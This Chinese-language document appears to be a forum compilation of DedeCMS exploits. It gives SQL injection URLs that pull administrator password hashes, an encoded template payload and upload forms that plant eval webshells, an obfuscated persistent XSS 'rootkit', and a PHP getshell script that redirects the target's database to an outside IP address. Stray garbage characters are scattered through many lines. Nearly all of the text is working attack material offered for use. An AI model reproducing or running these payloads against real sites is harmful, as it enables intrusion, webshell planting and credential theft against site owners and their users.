dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

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DedeCms v5.6 嵌入恶意代码执行漏洞
* Z2 W- r4 r) e/ M2 D注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
- J, T, ]' ?2 X发表后查看或修改即可执行
# |0 _3 N; x9 ^! n# `6 o" ^6 Ja{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
: [2 w# y5 A. z6 q生成x.php 密码xiao，直接生成一句话。




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/ h3 J; l+ K% r$ {, a' Q1 mDede 5.6 GBK SQL注入漏洞
) M. o! |8 O: l3 Xhttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
0 i. C& M, `4 Z3 w* Vhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
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* L) e/ ~8 q# rDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
1 S* `, \+ P" Y1 ?8 y2 x) H8 p$ `/ Hhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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; K% b1 l0 {/ C' XDEDECMS 全版本 gotopage变量XSS漏洞
2 [6 b# m( ?( r- y+ G1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="


3 ?+ M/ _. m9 U2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

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http://v57.demo.dedecms.com/dede/login.php

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color=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
<?php
! E: e, p2 e, {4 k# _error_reporting(E_ERROR);
: @/ w9 Z8 O- W1 ~6 r  Wset_time_limit(0);
9 ]' ?- C2 R" D. bprint_r('
0 X& T) j9 _- t& S, v; DDEDEcms Variable Coverage
; K6 l( ]% Q6 \  e( o+ A5 mExploit Author: www.heixiaozi.comwww.webvul.com
);
; z9 N7 s; e/ o% ~% Z3 e1 K/ ~echo "\r\n";
if($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
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exit;
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$url=$argv[1];
$aid=$argv[2];
$ S; z$ c) a, u! i$path=$argv[3];
; z/ `: I. [5 ^$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;


/ e/ l& K9 P- T. |if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;


if($aid==3)echo "
5 W- \; Z  P; T( p; e; G6 YShell:".$url."/$path/plus/fuck.php\n";

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}else{
* m4 Q! P4 w+ J! Y+ T* U( l0 ^& L6 Kecho "
% v  G* L' G9 z# m# EExploit Failed \n";
}
function Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
5 \5 |( v8 n: M+ W' J# u: V: }$port="80";
& Y7 Q' g$ l3 ^# H' g$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
8 N+ `  E8 |9 S- C2 c6 l4 Q6 H$data .= "Host: ".$host."\r\n";
9 K% h! N: ^" O( D3 f$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
# _( Q- V6 t- x/ D3 O$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
# \5 p, ~2 p8 [* {$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
# W* N. j/ g8 Q* B  @! D* N# F//$data .= "Accept-Encoding: gzip,deflate\r\n";
; l  X. \# d( Z) {7 H! @$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
0 _# Y) v  y- J# l' D! V$ z$ `! I$data .= "Connection: keep-alive\r\n";
! I" e6 l4 F' L  ~$ I, u$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
8 _7 ^. M/ _2 X$ @9 x$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
0 t! M6 _6 q. `& K- `. H& S0 t& necho "
No response from ".$host."\n";
3 i; M9 y0 ~, F, ]}
fwrite($ock,$data);
8 X% q! P2 A; X2 m9 W" z  Y% jwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
- W2 B. L$ M$ c0 ?( d5 creturn $exp;
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+ a2 N9 S% ^6 H+ w+ F. z9 ODedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


* |1 X) F* \- ^2 h* }& M! L把上面validate=dcug改为当前的验证码，即可直接进入网站后台

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此漏洞的前提是必须得到后台路径才能实现



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4 C% R3 d+ _9 Z4 ?Dedecms织梦 标签远程文件写入漏洞
. a5 g" u" v, J0 L3 ?; a6 _4 D前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');
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再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
4 k1 u% U- M1 W8 }- J1 b- L<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
7 u, T2 G0 D, ?' u( S( z<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
% d# w: R+ l' W. D" |* y<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
& Y5 U# [. `/ A' K* h1 @</form>
<script>
+ e6 C6 i0 S6 x4 vfunction addaction()
3 I. T6 g& X8 q- S. T{
1 h0 p- ^% n0 \6 o3 B. Wdocument.QuickSearch.action=document.QuickSearch.doaction.value;
- w& u! k4 j* r5 S}
* c: \7 w1 A6 C, A8 V</script>
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DedeCms v5.6 嵌入恶意代码执行漏洞
( D+ e0 }1 K2 y6 J. a7 f注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
4 C6 N9 f8 Y6 H  U& g- p生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
6 _9 P$ |5 k/ m+ g" u& yDedecms <= V5.6 Final模板执行漏洞
* r* h* T6 P' G2 \: Z注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg


& |; R/ j% L0 i模板内容是（如果限制图片格式，加gif89a）：
5 }$ i! ?$ X' h' e: \( ~! N{dede:name runphp='yes'}
9 }7 t2 L' p1 z& P& U$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
" O: @6 {, P; \( a{/dede:name}
% `7 d- N1 f, O8 Q* M2 修改刚刚发表的文章，查看源文件，构造一个表单：
9 m: ^* N, X, l# M( V& j7 a- `<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
0 c) D/ w+ |, X, @% @1 w<input type="hidden" name="aid" value="2" />
5 V- t( b1 f" ]1 u<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
. A- `$ l# K8 w3 o8 S  r<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
! j/ ?+ G5 i3 ~9 B$ x% A+ k<input type="hidden" name="sortrank" value="1275972263" />
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<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
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<div class="postForm">
: U# k) _/ R' O: N$ u0 }<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

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<label>标签TAG：</label>
  {9 }0 O/ s  A<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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  X& K0 S! R: p+ @9 M<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

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<label>隶属栏目：</label>
6 e6 j5 ?5 P$ K* z. M" `<select name='typeid' size='1'>
  y8 V: n8 c6 A" a<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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* Z" b- b& X' }5 h: Y; E<label>我的分类：</label>
<select name='mtypesid' size='1'>
% C. Q( T6 O, ]+ Q. a9 m$ I<option value='0' selected>请选择分类...</option>
  @. ^' o; U) Z2 ^/ J( L<option value='1' class='option3' selected>hahahha</option>
</select>


7 n5 T% {; [, l<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)

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: }: g5 g6 T+ P3 }! ^<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>


* g% _+ f0 L* _8 K9 v# B<input type='text' name='templet'
! c% K  o6 y* j, `; o% Cvalue="../ uploads/userup/2/12OMX04-15A.jpg">
' C5 D- w7 q/ m" n<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
# I1 k' \) w  T/ F4 g</div>

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( v; |. \' g! @+ c! N2 }6 T<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
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<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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- z. o# _- \9 y5 a$ B1 p/ `- q<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
1 K& G5 H/ A* I  Y/ f<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
0 o6 r% V# u3 j! f</div>

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</div>


" U. h: _" P4 w6 ?. ?</form>

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4 k& y! L1 X( J  l" J! V提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
  v% P1 {: ]+ C+ whttp://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
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) j) ?" k# |; _3 C3 H2 oDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
% z; |" c7 j$ q6 A, Y: cGif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
% W3 O; g$ t: x3 \{/dede:field}
: C" f% q9 Q& Y2 w" w& O; v3 X保存为1.gif
3 o2 o1 h0 }: q  d9 l<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
  u' `# y' a% G! [. K" y7 v4 _* ]<input type="hidden" name="aid" value="7" />
; f0 g5 D$ o8 K/ G0 Z<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
& V. ]  y) m& P3 F5 e# c2 K<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
2 b' u% B* r; \; d+ [( H</form>
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构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
! Y8 O" m4 I) N7 l发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
# x* U4 X) @5 p# x1 W<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
3 v+ D4 n" |% ?1 d! y3 s- m$ J<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
% a( ~( o5 T$ O1 q# w- d# u<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
1 P2 F/ g9 m6 `. |4 |: A<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
# p& ~+ @9 {) P2 [: Q# x<select name='mtypesid' size='1'>
: J: v# a2 ^. J- Y: P* H. _+ q5 ~7 Q<option value='0' selected>请选择分类...</option>
, H! V$ r" k5 M9 E" _<option value='1' class='option3' selected>aa</option></select>
; C" [) o3 _" Z/ M+ s' |<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
/ _/ F6 ]; [$ U  `6 M* M<input type='hidden' name='dede_addonfields' value="templet">
  z) K% b( T( j; q1 u) Y2 W<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>
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/ c# i! g1 n4 `( A6 e织梦(Dedecms)V5.6 远程文件删除漏洞
% E, }1 F' u2 K) Lhttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
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6 g& {) ^' a, A  g织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../

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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
# s/ r  X- \! Vplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
3 Q' |3 R! k2 N! f, K密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
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织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
1 V, a/ n5 B* M: _<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
5 j# j  ~# I8 P9 A, Z2 s5 `$ K<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
9 u# N4 Z! S4 f8 S3 m4 o  O( [<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
5 H8 w8 X5 @( H1 q3 x! ]- }<input type='hidden' name='cfg_mediatype' value='php' />
, X. X; d% b2 a: d3 |; B<input type='hidden' name='f' value='form1.enclosure' />
- t' K5 E* P# d8 G<input type='hidden' name='job' value='upload' />
7 _& q) `: J( C) _/ m( \" N5 F3 l<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
; }  v( r7 {1 e7 F3 V<input type='submit' name='sb1' value='确定' />
7 _% p5 H! w: q0 {$ Q  _</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
/ }6 n2 S3 N7 I- HNeed register_globals = on...<br />
$ G, g3 J% `+ u% h2 Y" XFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>






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- g2 d8 F* P+ P- b. c2 ?织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
9 d- D" \1 o. c+ H1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
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/ }- l5 ^; u+ m# \; ^3 X( L2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
7 p6 a0 Z1 u2 l: c& ~int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
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3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

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) T! T0 q# Z; `- m! e/ V<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
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按确定后的看到第2步骤的信息表示文件木马上传成功.

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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
* L, K6 R/ j# {# `http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*